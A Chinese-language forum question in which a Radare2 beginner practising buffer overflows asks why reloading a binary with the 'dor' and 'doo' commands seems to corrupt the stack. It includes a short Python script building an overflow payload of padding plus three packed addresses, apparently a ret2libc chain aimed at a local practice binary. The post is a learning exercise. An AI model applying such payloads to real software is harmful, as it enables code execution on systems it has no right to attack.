我是 Radare2 的新手,所以我试图通过做一些基本的缓冲区溢出来学习它。我的问题是,当我尝试加载一些有效载荷时,堆栈似乎以一些不同的方式伪造它们......
例如,尝试通过调用一个简单的 python 脚本来加载输入
import struct
def p (x):
return struct.pack('<I',x)
param = ""
param += "A"*30
param += p(0xb7e40db0)
param += p(0xb7e349e0)
param += p(0xb7f61b0b)
print param
并使用它来运行它。
r2 -d bufferoverflow `python payload.py`
溢出时我得到这个堆栈。
我用这种方式运行它不会遇到任何问题
但是,当我设置了一些断点,自定义了一些视图以更加舒适时,我尝试使用 Radare2 中的“dor”和“doo”命令重新加载文件
但现在 Radare2 似乎开始用一些随机值伪造堆栈......
我不确定这是我的问题,因为我做错了,还是由我不知道的 Radare2 行为引起的。